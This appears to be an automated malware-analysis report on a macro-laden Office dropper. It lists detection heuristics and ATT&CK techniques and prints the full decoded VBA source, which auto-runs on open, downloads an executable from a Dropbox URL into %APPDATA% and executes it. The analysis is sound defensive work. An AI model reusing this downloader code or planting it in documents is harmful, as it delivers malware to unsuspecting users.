MALICIOUS
386
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample is a malicious Office document that uses a lure to trick the user into enabling macros. Upon enabling, the VBA macro uses WScript.Shell to download an executable file from 'https://dl.dropboxusercontent.com/s/3zgqwkro2gt5kcj/sdfzer9898kleer.exe' and saves it to '%APPDATA%\SBRBWDUEFXQ\the embedded link', indicating it functions as a downloader for a second-stage payload.
Heuristics 13
-
ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set RGOEPGRENAW = CreateObject("WScript.Shell") -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
.write NWHSWBIYWEU.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set RGOEPGRENAW = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
- https://dl.dropboxusercontent.com/s/3zgqwkro2gt5kcj/sdfzer9898kleer.exeReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2146 bytes |
SHA-256: b07d213be5d9854ad169783c1c5ee4645fa07c430fa5512af8a1c0eba9363983 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
MRGHZKBZTOM
End Sub
Sub MRGHZKBZTOM()
Set RGOEPGRENAW = CreateObject("WScript.Shell")
RYZKEVIBUTW = RGOEPGRENAW.ExpandEnvironmentStrings("%APPDATA%")
Dim JNFBSGRKVHW: JNFBSGRKVHW = RYZKEVIBUTW & "\SBRBWDUEFXQ"
Set KIKLXOFMALY = CreateObject("Scripting.FileSystemObject")
If (KIKLXOFMALY.FolderExists(JNFBSGRKVHW)) Then
Else
Set oKIKLXOFMALY = CreateObject("Scripting.FileSystemObject")
oKIKLXOFMALY.CreateFolder JNFBSGRKVHW
End If
Dim ZGUIBSBJVTW: Set ZGUIBSBJVTW = CreateObject("Adodb.Stream")
Dim NWHSWBIYWEU: Set NWHSWBIYWEU = CreateObject("Microsoft.XMLHTTP")
NWHSWBIYWEU.Open "GET", "https://dl.dropboxusercontent.com/s/3zgqwkro2gt5kcj/sdfzer9898kleer.exe", False
NWHSWBIYWEU.Send
With ZGUIBSBJVTW
.Type = 1
.Open
.write NWHSWBIYWEU.responseBody
.savetofile RYZKEVIBUTW & "\SBRBWDUEFXQ\GHWYNKNAQHP.com", 2
End With
Call FLCALOGPDUV(JNFBSGRKVHW)
End Sub
Function FLCALOGPDUV(LSHAVQEXPKX)
Dim KIKLXOFMALY, PAHHPFGQRUT, VADBOUDXYWB, VNRASXUVHTK, HWBTEZAIMDB, RMKIWZLJCNB
Dim OFUQONIWVMZ
Set OFUQONIWVMZ = CreateObject("WScript.Shell")
HWBTEZAIMDB = ""
Set KIKLXOFMALY = CreateObject("Scripting.FileSystemObject")
If (KIKLXOFMALY.FolderExists(LSHAVQEXPKX)) Then
Set PAHHPFGQRUT = KIKLXOFMALY.GetFolder(LSHAVQEXPKX)
Set VADBOUDXYWB = PAHHPFGQRUT.Files
For Each VNRASXUVHTK In VADBOUDXYWB
Dim TVEPKBVKYRX
TVEPKBVKYRX = LSHAVQEXPKX & "\" & VNRASXUVHTK.Name
OFUQONIWVMZ.Run Chr(34) & TVEPKBVKYRX & Chr(34), 1, True
Next
Set VNRASXUVHTK = QLYMZCHALNI
Set VADBOUDXYWB = NMZDWDUJPTQ
Set PAHHPFGQRUT = EDDYJFRPTMA
End If
Set KIKLXOFMALY = PRLABLLSPWB
End Function
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.